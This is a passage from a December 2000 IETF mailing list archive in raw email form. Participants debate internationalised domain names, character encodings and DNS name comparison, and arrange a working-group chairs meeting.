Exmh version 2.2 06/16/2000 iQA/AwUBOiu1B3At5Vm009ewEQKifACfXz/ZkR09R0Uppf5wi2PMcos9KGAAoJ2o bmd84bZSAmyz/ycdrd13cKsJ =P97j -----END PGP SIGNATURE----- --==_Exmh_-1246937164P-- From owner-ietf-outbound Mon Dec 4 10:30:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA22636 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 10:30:03 -0500 (EST) Received: from localhost.localdomain ([216.52.68.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA19932 for ; Mon, 4 Dec 2000 10:20:23 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eB4FNg017039 for ; Mon, 4 Dec 2000 10:23:42 -0500 Sender: francis@localhost.localdomain Message-ID: <3A2BB6FD.601E86D5@ecal.com> Date: Mon, 04 Dec 2000 10:23:41 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: async voice wireless messaging update References: <200012030755.XAA06975@shell9.ba.best.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit "James P. Salsman" wrote: > QUALCOMM is headquartered in San Diego. I hope a lot of IETFers > have the opportunity to request the feature in person. Maybe > this will be made easier by the fact that they are co-hosting the > terminal room. It's unlikely that the people running the terminal room will be the managers who can make feature decisions. -- /==============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own.| |Chief Scientist |=============================================| |eCal Corp. |Speak softly and carry an Illudium Q-32 | |francis@ecal.com|Explosive Space Disintegrator. | \==============================================================/ From owner-ietf-outbound Mon Dec 4 10:40:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA24409 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 10:40:05 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21811 for ; Mon, 4 Dec 2000 10:26:25 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id JAA03391 for ; Mon, 4 Dec 2000 09:21:17 -0600 (CST) Message-Id: <200012041521.JAA03391@rgfsparc.cr.usgs.gov> Date: Mon, 4 Dec 2000 09:21:17 -0600 (CST) From: "Robert G. Ferrell" Reply-To: "Robert G. Ferrell" Subject: Re: Will Language Wars Balkanize the Web? To: ietf@ietf.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: rO7S9sJJJOIblMGMwxGrKg== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc X-Loop: ietf@ietf.org >Wasn't there a Dilbert cartoon regarding sending a page to a pager number >containing a caret? ;) It was a tilde. ;-) RGF Robert G. Ferrell, CISSP Information Systems Security Officer National Business Center U. S. Dept. of the Interior Robert_G_Ferrell@nbc.gov ======================================== Who goeth without humor goeth unarmed. ======================================== From owner-ietf-outbound Mon Dec 4 10:50:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA27740 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 10:50:04 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22784 for ; Mon, 4 Dec 2000 10:30:38 -0500 (EST) Received: from hocus.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Mon, 4 Dec 2000 15:30:23 +0000 To: Melinda Shore cc: ietf Subject: Re: How many cooks? In-reply-to: Your message of "Mon, 04 Dec 2000 09:34:56 PST." <015a01c05e18$85421360$d45904d1@cisco.com> Date: Mon, 04 Dec 2000 15:30:21 +0000 Message-ID: <2008.975943821@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org >>At least the drafts coming into the IETF don't show the >>same behavior as scientific papers, which is that title >>length directly correlates with the number of authors. perhaps we shpould encourage i-ds (and rfcs) to have authors from as many countries as possible so that they can be simultaneously translated into as many local languages as possible (and zip coded for the hard of thinking:-) cheers jon From owner-ietf-outbound Mon Dec 4 11:40:54 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA14945 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 11:40:02 -0500 (EST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12988 for ; Mon, 4 Dec 2000 11:35:58 -0500 (EST) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id IAA15477 for ; Mon, 4 Dec 2000 08:35:28 -0800 (PST) Received: from [10.83.97.79] (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id eB4GZCk16141 for ; Mon, 4 Dec 2000 08:35:12 -0800 (PST) Mime-Version: 1.0 X-Sender: pfaltstr@nordic.cisco.com Message-Id: Date: Mon, 4 Dec 2000 08:32:30 -0800 To: ietf@ietf.org From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?= Subject: Apps Area wg and BOF chair meeting Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org As usual we have planned a wg/bof chair thursday evening. If people think the meeting is not necessary, let me know, and we'll cancel. As it is now, the meeting is "on". >The APPS working group chair meeting is scheduled for Thursday, >December 14 at 1800-2200 in Marina 2 at the Sheraton San Diego >Hotel and Marina. > >Marcia Patrik -- From owner-ietf-outbound Mon Dec 4 13:30:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA21168 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 13:30:02 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19515 for ; Mon, 4 Dec 2000 13:23:22 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 1430GZ-0000QT-00; Mon, 04 Dec 2000 18:23:07 +0000 Date: Mon, 4 Dec 2000 18:23:06 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: Valdis.Kletnieks@vt.edu cc: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <200012041515.eB4FFKmv233186@black-ice.cc.vt.edu> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Mon, 4 Dec 2000 Valdis.Kletnieks@vt.edu wrote: > On Sun, 03 Dec 2000 13:17:45 EST, vint cerf said: > > to incorporate and refer to domain names. The IA4 alphabet includes essentially > > just the letters A-Z, numbers 0-9 and the "-" (dash). This is the limit of what > > is allowed in domain names today. > > The sad part is, of course, that RFC1035, section 3.1 specifically says > that any octet value is legal. many octet values are legal... in IPv4 dot quads. And unicode characters are sixteen-bit instead of sensibly having escape sequences... How far could a suitably translated http:/// take you? You can get a lot across in two chinese ideograms, say. IPv6 raises the string length to eight chars. If eight chars is good enough for DOS, it's good enough for billions of Chinese DOS users. Demand for suitable character space for your name in your language might finally make geographic addressing take off, too. It's the equivalent of 0800-WHO-NEEDS-DNS. L. > But I guess we're stuck with the IA4 charset.... ;( PGP From owner-ietf-outbound Mon Dec 4 13:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA23467 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 13:40:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA22682 for ; Mon, 4 Dec 2000 13:36:38 -0500 (EST) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id KAA21187 for ; Mon, 4 Dec 2000 10:36:09 -0800 (PST) Received: from [10.83.97.79] (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id eB4Ia7T27022 for ; Mon, 4 Dec 2000 10:36:07 -0800 (PST) Mime-Version: 1.0 X-Sender: pfaltstr@nordic.cisco.com Message-Id: In-Reply-To: References: Date: Mon, 4 Dec 2000 10:35:15 -0800 To: ietf@ietf.org From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?= Subject: Re: Apps Area wg and BOF chair meeting Content-Type: text/plain; charset="iso-8859-1" ; format="flowed" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA22682 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Suggesting is to run this meeting 7.30-8.30. I.e. only one hour, and with a fixed closing time. I think that is a good idea. Patrik At 08.32 -0800 00-12-04, Patrik Fältström wrote: >As usual we have planned a wg/bof chair thursday evening. > >If people think the meeting is not necessary, let me know, and we'll >cancel. As it is now, the meeting is "on". > >>The APPS working group chair meeting is scheduled for Thursday, >>December 14 at 1800-2200 in Marina 2 at the Sheraton San Diego >>Hotel and Marina. >> >>Marcia > > Patrik > > >-- -- From owner-ietf-outbound Mon Dec 4 14:00:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA29276 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 14:00:03 -0500 (EST) Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA28929 for ; Mon, 4 Dec 2000 13:58:59 -0500 (EST) Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 04 Dec 2000 10:58:28 -0800 (Pacific Standard Time) Received: by inet-imc-02.redmond.corp.microsoft.com with Internet Mail Service (5.5.2651.58) id ; Mon, 4 Dec 2000 10:55:16 -0800 Message-ID: From: Christian Huitema To: "'Valdis.Kletnieks@vt.edu'" , vint cerf Cc: Graham Klyne , ietf@ietf.org Subject: RE: Will Language Wars Balkanize the Web? Date: Mon, 4 Dec 2000 10:42:23 -0800 X-Mailer: Internet Mail Service (5.5.2651.58) X-Loop: ietf@ietf.org > On Sun, 03 Dec 2000 13:17:45 EST, vint cerf said: > > to incorporate and refer to domain names. The IA4 alphabet > includes essentially > > just the letters A-Z, numbers 0-9 and the "-" (dash). This > is the limit of what > > is allowed in domain names today. > > The sad part is, of course, that RFC1035, section 3.1 > specifically says > that any octet value is legal. The restrictions that Vint mentions are actually restrictions on the domain name part of email addresses, as specified in RFC-821. The DNS system itself does not has such restrictions; this allows for example RFC 2782 to specify the use of the "illegal" character _ (underline) in some domain name parts. The main restriction in the DNS itself is the comparison rule embedded in the system, that says that domain names are case independent. Case comparison is indeed specific to the alphabet code, and in fact is often times language dependent. The matter is already muddy for European languages. In a case independent comparison in French, e-acute matches the accentless e; in German, u-umlaut could match the digraph "ue"; DNS servers don't do such matches, but at least they do the binary comparison right when an 8-bit alphabet is a superset of ASCII. But the matter indeeds gets more complex when the characters are encoded on 16 bits, when either the top or the bottom could be misinterpreted as a lower or upper case ascii letter, resulting in incorrect matches. So, at a minimum, we need an IETF specification on how to detect that a domain name part is using a non ascii encoding, so that DNS servers don't get lost. -- Christian Huitema From owner-ietf-outbound Mon Dec 4 16:00:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA28302 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 16:00:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA26870 for ; Mon, 4 Dec 2000 15:55:55 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA18960; Mon, 4 Dec 2000 15:55:37 -0500 (EST) Message-Id: <200012042055.PAA18960@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Christian Huitema cc: "'Valdis.Kletnieks@vt.edu'" , vint cerf , Graham Klyne , ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? In-reply-to: Your message of "Mon, 04 Dec 2000 10:42:23 PST." Date: Mon, 04 Dec 2000 15:55:37 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > So, at a minimum, we need an IETF > specification on how to detect that a domain name part is using a non ascii > encoding, so that DNS servers don't get lost. We need a great deal more than that. The real impact of internationalizing DNS names isn't with the DNS protocol or software itself (you can probably do it without any changes to these), it is the applications that make assumptions about character encodings used in DNS names and/or place their own limitations on the allowable characters in DNS names. Keith From owner-ietf-outbound Mon Dec 4 17:10:43 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA18249 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 17:10:03 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA15496 for ; Mon, 4 Dec 2000 17:00:30 -0500 (EST) Received: from hq.lindsayelec.com ([216.129.40.27]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Mon, 4 Dec 2000 17:00:41 -0500 Received: FROM new BY hq.lindsayelec.com ; Mon Dec 04 17:00:40 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Example of dns (non) fun Date: Mon, 4 Dec 2000 17:00:41 -0500 Message-ID: <20001204220041184.AAA301@hq.lindsayelec.com@hq.lindsayelec.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id RAA15496 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit In the present regime, its not surprising the frist below does not resolve and the second does: http://www.déjà.fr/ http://www.deja.fr/ In the proposed regime, its not obvious what to do from a purely consumer point of view. Verisigns view would be each is completely unique. ICANN's dispute resolution would say there completely identifical and one has to go! But ICANN's resolution makes this problem appear in the first place. Whoops, its not pretty. Dan K From owner-ietf-outbound Mon Dec 4 18:30:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA17656 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 18:30:04 -0500 (EST) Received: from ibd.ar.com (ibd.ar.com [63.194.205.75]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14742 for ; Mon, 4 Dec 2000 18:22:52 -0500 (EST) Received: from loki (wessorh@loki.ar.com [10.10.10.88]) by ibd.ar.com (8.9.0.Beta5/8.9.0.Beta5) with ESMTP id PAA05543; Mon, 4 Dec 2000 15:22:50 -0800 (PST) Date: Mon, 4 Dec 2000 15:22:50 -0800 (PST) From: Rick H Wesson To: Dan Kolis cc: ietf@ietf.org Subject: Re: Example of dns (non) fun In-Reply-To: <20001204220041184.AAA301@hq.lindsayelec.com@hq.lindsayelec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by ibd.ar.com id PAA05543 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA14742 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Dan, actually your urls could be: http://www.bq--aduwvya.fr/ http://www.deja.fr/ a application may render the bq--aduwvya.fr as déjà.fr or it may not. Finally it would be up to the URDP process or the courts as to *if* the two domains are the same. We shouldn't worry what the URDP or the courts may or may not do. -rick On Mon, 4 Dec 2000, Dan Kolis wrote: > In the present regime, its not surprising the frist below does not resolve > and the second does: > > http://www.déjà.fr/ > http://www.deja.fr/ > > > In the proposed regime, its not obvious what to do from a purely consumer > point of view. Verisigns view would be each is completely unique. ICANN's > dispute resolution would say there completely identifical and one has to go! > But ICANN's resolution makes this problem appear in the first place. > > Whoops, its not pretty. > > Dan K > > > From owner-ietf-outbound Mon Dec 4 18:50:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA23405 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 18:50:02 -0500 (EST) Received: from A4.JCK.COM (ns.jck.com [209.187.148.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA18278 for ; Mon, 4 Dec 2000 18:31:16 -0500 (EST) Received: from KLENSIN01 ("port 19192"@[135.207.27.137]) by a4.jck.com (PMDF V6.0-23 #44844) with ESMTPA id <0G52007L2HC53D@a4.jck.com> for ietf@ietf.org; Mon, 04 Dec 2000 18:31:18 -0500 (EST) Date: Mon, 04 Dec 2000 18:31:10 -0500 From: John C Klensin Subject: Re: Example of dns (non) fun In-reply-to: <20001204220041184.AAA301%hq.lindsayelec.com@hq.lindsayelec.com> To: Dan Kolis Cc: ietf@ietf.org Message-id: <997094398.975954670@KLENSIN01> MIME-version: 1.0 X-Mailer: Mulberry/2.0.5 (Win32) Content-type: text/plain; charset=iso-8859-1 Content-disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA18278 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit I suggest you look in on the IDN working group, review their documents if you have not done so, and then take this discussion up on theiir mailing list if you aren't satisfied with the answers you get. john ------------------- --On Monday, December 04, 2000 5:00 PM -0500 Dan Kolis wrote: > In the present regime, its not surprising the frist below does > not resolve and the second does: > > http://www.déjà.fr/ > http://www.deja.fr/ > > > In the proposed regime, its not obvious what to do from a > purely consumer point of view. Verisigns view would be each is > completely unique. ICANN's dispute resolution would say there > completely identifical and one has to go! But ICANN's > resolution makes this problem appear in the first place. > > Whoops, its not pretty. > > Dan K > > > From owner-ietf-outbound Mon Dec 4 19:00:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA25965 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 19:00:03 -0500 (EST) Received: from p2.cavebear.com (p2.cavebear.com [199.184.128.35]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA25826 for ; Mon, 4 Dec 2000 18:59:30 -0500 (EST) Received: from localhost (karl@localhost) by p2.cavebear.com (8.11.0/8.11.0) with ESMTP id eB4NwPM03371; Mon, 4 Dec 2000 15:58:25 -0800 Date: Mon, 4 Dec 2000 15:58:25 -0800 (PST) From: Karl Auerbach Reply-To: Karl Auerbach To: Rick H Wesson cc: IETF Subject: Re: Example of dns (non) fun In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by p2.cavebear.com id eB4NwPM03371 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA25826 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit > actually your urls could be: > > http://www.bq--aduwvya.fr/ > http://www.deja.fr/ > > a application may render the bq--aduwvya.fr as déjà.fr or it may not. > Finally it would be up to the URDP process or the courts as to *if* the > two domains are the same. We shouldn't worry what the URDP or the courts > may or may not do. Yes, the issue of "equivalence" extends well beyond what we can do in the technical realm -- for instance "red ball" and "bal rouge" can be considered equivalent for certain purposes (such as certain parts of trademark law.) I'd hate to be the one who has to write the library function int strcmp_that_statisfies_everybody(); My own preference is to create a flexible mechanism (perhaps with some degree of character set canonicalization) and let the courts, lawyers, legislatures, etc try to figure out how to overlay restrictive interpretations. --karl-- From owner-ietf-outbound Mon Dec 4 19:10:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA28343 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 19:10:03 -0500 (EST) Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA27996 for ; Mon, 4 Dec 2000 19:08:30 -0500 (EST) Received: from computer.ix.netcom.com (user-37katdl.dialup.mindspring.com [207.69.117.181]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id TAA06199; Mon, 4 Dec 2000 19:08:28 -0500 (EST) Message-Id: <5.0.0.25.2.20001204190533.029a5e70@127.0.0.1> X-Sender: rshockey/popd.ix.netcom.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 04 Dec 2000 19:09:27 -0500 To: dank@hq.lindsayelec.com (Dan Kolis), ietf@ietf.org From: Richard Shockey Subject: Re: Example of dns (non) fun In-Reply-To: <20001204220041184.AAA301@hq.lindsayelec.com@hq.lindsayelec .com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id TAA27996 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit At 05:00 PM 12/4/2000 -0500, Dan Kolis wrote: >In the present regime, its not surprising the frist below does not resolve >and the second does: > >http://www.déjà.fr/ >http://www.deja.fr/ > > >In the proposed regime, its not obvious what to do from a purely consumer >point of view. Depends on who is the consumer... to the French the difference here is completely obvious... and this whole problem is just "another Anglo-Saxon plot" etc... >Verisigns view would be each is completely unique. ICANN's >dispute resolution would say there completely identifical and one has to go! >But ICANN's resolution makes this problem appear in the first place. From owner-ietf-outbound Mon Dec 4 20:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA10048 for ietf-outbound.10@ietf.org; Mon, 4 Dec 2000 20:00:02 -0500 (EST) Received: from europe.std.com (europe.std.com [199.172.62.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA09726 for ; Mon, 4 Dec 2000 19:58:40 -0500 (EST) Received: from world.std.com (brunner@world-f.std.com [199.172.62.5]) by europe.std.com (8.9.3/8.9.3) with ESMTP id TAA27070; Mon, 4 Dec 2000 19:58:27 -0500 (EST) Received: from localhost (brunner@localhost) by world.std.com (8.9.3/8.9.3) with SMTP id TAA24598; Mon, 4 Dec 2000 19:58:21 -0500 (EST) Message-Id: <200012050058.TAA24598@world.std.com> X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol To: GK@Dial.pipex.com cc: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? Date: Mon, 04 Dec 2000 19:58:21 -0500 From: Eric Brunner X-Loop: ietf@ietf.org > I guess one of the first questions should be; "Is some partitioning of the > Internet community such a bad thing?"... If the "partition" intended for discussion is "@sign vs !path" addressing conventions, Eric Allman and Peter Honeyman have left a discussion archive on the subject. Arguably the universalist thesis understated the drawbacks of anyone having the capability of addressing everyone anywhere. Clueless users is only one possible policy model -- a point made by Peter then, and equally valid now. Personally I'm underwhelmed by the universalism advocated by the members of the UNICODE Consortium, a single encoding scheme of necessity comes to peripheral markets late in their adoption of computerized writing systems, and their integration into a rationalized global system is not obviously a boon to their pre-integration service models. > PS: I think it is without doubt that it is a Good Thing that we make > efforts to internationalize protocols ... Even less satisfactory is the practice of generalizing ASCII (nee BCD) to encodings with more than 256 code points, via this universalist scheme and no other. To advance from ASCII to ASCII-plus-UTF8 could be just as well characterized as SJIS/GB/Big5/... (and their uses) depricated. > ... my comments/questions are an > attempt to explore how far this process can reasonable go. The i18n problem isn't trivial, and isn't advanced by problematic essays, good intentions, or American (actual and honorary) indulgences. On the up-side, large user bases need not adapt to extraneous requirements for participating in the "Internet community", and Universalist Credos may fail in the markets (plural intended). As for poking the ICANN mess in the eye with a sharpened brush on the IETF list prior to a meeting, it is clumsy slight-of-hand and a poor substitute for work on writing system support. See also the W3C WAI for information encoding and presentation systems which are not "writing". Kitakitamatsinopowaw, Eric From owner-ietf-outbound Tue Dec 5 03:40:58 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA00228 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 03:40:02 -0500 (EST) Received: from NOD.RESTON.MCI.NET ([166.60.6.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA28996 for ; Tue, 5 Dec 2000 03:34:26 -0500 (EST) Received: from vint.mci.net ([166.60.18.100]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with ESMTPA id <01JXBX5P6N0S9N4EE9@shoe.reston.mci.net> for ietf@ietf.org; Tue, 5 Dec 2000 03:34:26 EST Date: Tue, 05 Dec 2000 03:37:38 -0500 From: vint cerf Subject: Re: Example of dns (non) fun In-reply-to: <5.0.0.25.2.20001204190533.029a5e70@127.0.0.1> X-Sender: vcerf@shoe.reston.mci.net To: Richard Shockey , dank@hq.lindsayelec.com (Dan Kolis), ietf@ietf.org Message-id: <5.0.2.1.2.20001205033532.02554198@shoe.reston.mci.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; charset=iso-8859-1 References: <20001204220041184.AAA301%hq.lindsayelec.com@hq.lindsayelec.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id DAA28996 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit from a purely mechanical point of view, if the character encoding of these two strings makes them distinct, one might have to treat them as distinct registrations - unless a very mechanical means of converting them both into some canonical form were available to make them "match" - one would imagine that such canonicalization process might require language-specific knowledge and that sounds pretty challenging. Vint At 07:09 PM 12/4/2000 -0500, Richard Shockey wrote: >At 05:00 PM 12/4/2000 -0500, Dan Kolis wrote: >>In the present regime, its not surprising the frist below does not resolve >>and the second does: >> >>http://www.déjà.fr/ >>http://www.deja.fr/ >> >> >>In the proposed regime, its not obvious what to do from a purely consumer >>point of view. > >Depends on who is the consumer... to the French the difference here is completely obvious... and this whole problem is just "another Anglo-Saxon plot" etc... > > >>Verisigns view would be each is completely unique. ICANN's >>dispute resolution would say there completely identifical and one has to go! >>But ICANN's resolution makes this problem appear in the first place. > > > From owner-ietf-outbound Tue Dec 5 04:21:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA08962 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 04:20:02 -0500 (EST) Received: from sh.w3.mag.keio.ac.jp (sh.w3.mag.keio.ac.jp [133.27.194.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA06769 for ; Tue, 5 Dec 2000 04:10:03 -0500 (EST) Received: from enoshima (dhcp-194-237.mag.keio.ac.jp [133.27.194.237]) by sh.w3.mag.keio.ac.jp (8.9.3/3.7W) with ESMTP id SAA27353; Tue, 5 Dec 2000 18:10:21 +0900 (JST) Message-Id: <4.2.0.58.J.20001205165042.02eb0c60@sh.w3.mag.keio.ac.jp> X-Sender: duerst@sh.w3.mag.keio.ac.jp X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J Date: Tue, 05 Dec 2000 16:53:04 +0900 To: Christian Huitema From: "Martin J. Duerst" Subject: RE: Will Language Wars Balkanize the Web? Cc: Graham Klyne , ietf@ietf.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 00/12/04 10:42 -0800, Christian Huitema wrote: >So, at a minimum, we need an IETF >specification on how to detect that a domain name part is using a non ascii >encoding, so that DNS servers don't get lost. Why not just use UTF-8? It is an encoding of the UCS (aka Unicode/ISO 10646), the encoding is fully compatible with ASCII (all 7-bit bytes are ASCII and only ASCII), and it is IETF policy (RFC 2277). Regards, Martin. From owner-ietf-outbound Tue Dec 5 04:31:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA11403 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 04:30:05 -0500 (EST) Received: from sh.w3.mag.keio.ac.jp (sh.w3.mag.keio.ac.jp [133.27.194.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA06792 for ; Tue, 5 Dec 2000 04:10:05 -0500 (EST) Received: from enoshima (dhcp-194-237.mag.keio.ac.jp [133.27.194.237]) by sh.w3.mag.keio.ac.jp (8.9.3/3.7W) with ESMTP id SAA27356; Tue, 5 Dec 2000 18:10:22 +0900 (JST) Message-Id: <4.2.0.58.J.20001205165625.02cf8550@sh.w3.mag.keio.ac.jp> X-Sender: duerst@sh.w3.mag.keio.ac.jp X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J Date: Tue, 05 Dec 2000 17:10:59 +0900 To: Eric Brunner , GK@dial.pipex.com From: "Martin J. Duerst" Subject: Re: Will Language Wars Balkanize the Web? Cc: ietf@ietf.org In-Reply-To: <200012050058.TAA24598@world.std.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 00/12/04 19:58 -0500, Eric Brunner wrote: > > I guess one of the first questions should be; "Is some partitioning of > the > > Internet community such a bad thing?"... > >If the "partition" intended for discussion is "@sign vs !path" addressing >conventions, Eric Allman and Peter Honeyman have left a discussion archive >on the subject. Any pointers? >Arguably the universalist thesis understated the drawbacks >of anyone having the capability of addressing everyone anywhere. Clueless >users is only one possible policy model -- a point made by Peter then, and >equally valid now. > >Personally I'm underwhelmed by the universalism advocated by the members >of the UNICODE Consortium, a single encoding scheme of necessity comes to >peripheral markets late in their adoption of computerized writing systems, >and their integration into a rationalized global system is not 